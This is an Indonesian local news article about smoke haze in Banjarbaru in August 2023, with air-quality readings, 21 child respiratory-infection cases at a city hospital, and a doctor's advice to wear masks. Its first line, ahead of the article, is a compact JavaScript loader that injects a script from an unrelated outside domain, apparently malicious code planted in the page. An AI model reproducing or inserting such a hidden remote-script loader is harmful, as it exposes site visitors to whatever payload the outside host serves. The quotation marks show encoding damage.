(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Kualitas Udara Ancam Kesehatan, Dianjurkan Pakai Masker

KANALKALIMANTAN.COM, BANJARBARU – Kabut asap yang melanda Kota Idaman yang terjadi rentang waktu pukul 06.30 hingga 08.30 Wita telah mengakibatkan berbagai masalah kesehatan bagi warga Banjarbaru.

Menghadapi risiko tinggi terkena gangguan pernapasan, warga diminta gunakan masker.

Berdasarkan dari data Stasiun Pemantauan Kualitas Udara Ambien Kota Banjarbaru yang berada di RTH Al Munawarrah per tanggal 21 Agustus 2023 dalam radius 5 Km, terpantau mengalami peningkatan dari mutu baik menjadi sedang dengan parameter kritis nitrogen oksida, hidrokarbon dan PM 2,5.

Mengancam pada kesehatan warga, Direktur Rumah Sakit Daerah (RSD) Idaman Kota Banjarbaru dr Danny Indrawardhana angkat bicara, efek dari kabut asap bagi kesehatan dapat menyebabkan infeksi saluran pernafasan atas.

Dengan gejala yang bervariatif yakni bisa batuk, pilek dan nyeri tenggorokan sempai terjadi demam dan lain-lain.

â€œPenggunaan masker akan menjadi jauh lebih efektif untuk menghindari partikel-partikel yang dihasilkan oleh kabut asap.

Selain itu, kita harus tetap menjaga daya tahan tubuh agar kesehatan kita tetap terjagam sehingga kita bisa menangkal infeksi yang masuk,â€ kata dokter Danny.

Selain itu, dokter Danny juga menyampaikan ada beberapa pasien yang dalam gangguan infeksi saluran pernafasan atas yang diakibatkan oleh kabut asap dirawat di RSD Idaman.

â€œDari data hingga 21 Agustus 2023 tercatat di RSD Idaman Kota Banjarbaru ada 21 kasus ISPA, dengan kategori usia dari 1 sampai 4 tahun.

Sedangkan untuk pasien kasus ISPA tersebut dari daerah Landasan Ulin, Banjarbaru Selatan dan Banjarbaru Utara,â€ ungkapnya.

Bagi warga Banjarbaru yang memulai aktifitas dipagi hari sangat disarankan agar menggunakan masker, dan mengambil tindakan pencegahan yang dianjurkan guna melindungi diri sendiri dan keluarga dari dampak kabut asap.

Pemerintah Kota Banjarbaru saat ini terus melakukan upaya untuk meredam kebakaran hutan dan lahan, dengan langkah-langkah jangka pendek dan jangka panjang diupayakan guna mengurangi risiko kabut asap. (Kanalkalimantan.com/bie)

Reporter : bie
Editor : bie